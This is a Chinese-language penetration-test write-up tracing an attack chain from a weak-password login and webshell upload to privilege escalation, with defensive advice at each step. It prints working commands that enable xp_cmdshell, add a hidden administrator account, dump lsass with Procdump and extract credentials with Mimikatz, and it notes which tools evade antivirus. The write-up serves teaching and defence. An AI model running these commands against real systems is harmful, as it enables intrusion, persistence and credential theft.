记一次有趣的渗透测试
字数 1435 2025-08-26 22:11:34
渗透测试实战教学:从弱口令到权限提升
1. 渗透测试概述
本次渗透测试案例展示了一个完整的攻击链,从初始访问到权限提升,最终获取系统控制权。整个过程涉及多个关键技术和工具的使用。
2. 初始访问
2.1 弱口令利用
攻击者首先通过弱口令进入系统后台:
- 发现系统存在弱口令漏洞
- 使用常见或默认凭证成功登录
- 进入后台管理系统
防御建议:
- 强制使用复杂密码策略
- 实施账户锁定机制
- 启用多因素认证
3. 文件上传漏洞利用
3.1 任意文件上传
- 发现头像上传功能存在任意文件上传漏洞
- 上传Webshell(大马)获取初步控制权
- 验证Webshell功能,执行系统命令
防御建议:
- 严格限制上传文件类型
- 对上传文件进行内容检查
- 将上传目录设置为不可执行
4. 权限提升尝试
4.1 初始权限评估
- 执行
whoami命令确认当前权限 - 发现权限受限,需要提权
4.2 补丁分析
- 使用
systeminfo查看系统补丁情况 - 识别缺失的安全更新,寻找可利用漏洞
4.3 提权工具尝试
- 上传多个提权工具(如各种提权exe)
- 发现大多数被杀毒软件拦截
- 成功使用pwdump7.exe(未被检测)
5. 数据库提权
5.1 获取数据库凭据
- 查找SQL Server配置文件获取连接凭据
- 成功连接到数据库服务器
5.2 启用xp_cmdshell
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
- 通过SQL Server的xp_cmdshell执行系统命令
- 获得更高权限的命令执行能力
5.3 创建管理员账户尝试
exec master..xp_cmdshell 'net user test pinohd123. /add'
exec master..xp_cmdshell 'net localgroup administrators test /add'
- 尝试创建新管理员账户
- 被安全软件拦截
6. 绕过安全防护
6.1 隐藏用户创建
net user test$ pinohd123. /add
net localgroup administrators test$ /add
- 创建隐藏账户(用户名以$结尾)
- 成功添加到管理员组
6.2 使用合法工具Procdump
exec master..xp_cmdshell 'xxxx\images\button\Procdump.exe -accepteula -ma lsass.exe -o xxx.dmp'
- 使用微软官方工具Procdump转储lsass进程内存
- 避免被安全软件检测
6.3 使用Mimikatz提取凭证
mimikatz.exe
sekurlsa::minidump 2.dmp
sekurlsa::logonPasswords full
- 分析转储文件获取明文密码
- 成功获取高权限账户凭证
7. 横向移动尝试
- 检查系统是否属于域环境
- 发现没有域环境,无法进一步横向移动
- 清理痕迹后退出
8. 防御措施总结
-
账户安全:
- 禁用或重命名默认账户
- 实施强密码策略
- 定期审计账户权限
-
文件上传防护:
- 实施严格的文件类型检查
- 使用随机文件名
- 隔离上传目录
-
数据库安全:
- 禁用xp_cmdshell等危险存储过程
- 使用最小权限原则配置数据库账户
- 加密存储数据库连接凭据
-
系统防护:
- 保持系统和应用及时更新
- 配置EDR/XDR解决方案
- 监控异常进程创建和网络活动
-
凭证保护:
- 启用LSA保护
- 限制对lsass进程的访问
- 监控凭证转储行为
9. 工具清单
| 工具名称 | 用途 | 检测规避 |
|---|---|---|
| pwdump7 | 提取密码哈希 | 部分杀软不检测 |
| Procdump | 进程内存转储 | 微软签名工具 |
| Mimikatz | 提取明文凭证 | 需配合转储文件使用 |
| Webshell | 远程命令执行 | 需定制免杀 |
10. 攻击链总结
- 弱口令 → 后台访问
- 文件上传 → Webshell
- 权限评估 → 提权尝试
- 数据库提权 → xp_cmdshell
- 安全绕过 → 隐藏用户/Procdump
- 凭证窃取 → Mimikatz
- 痕迹清理 → 退出系统
通过这个案例,我们可以清晰看到一个完整的渗透测试流程,以及攻击者如何利用系统弱点逐步提升权限。防御方应针对每个环节部署相应的防护措施。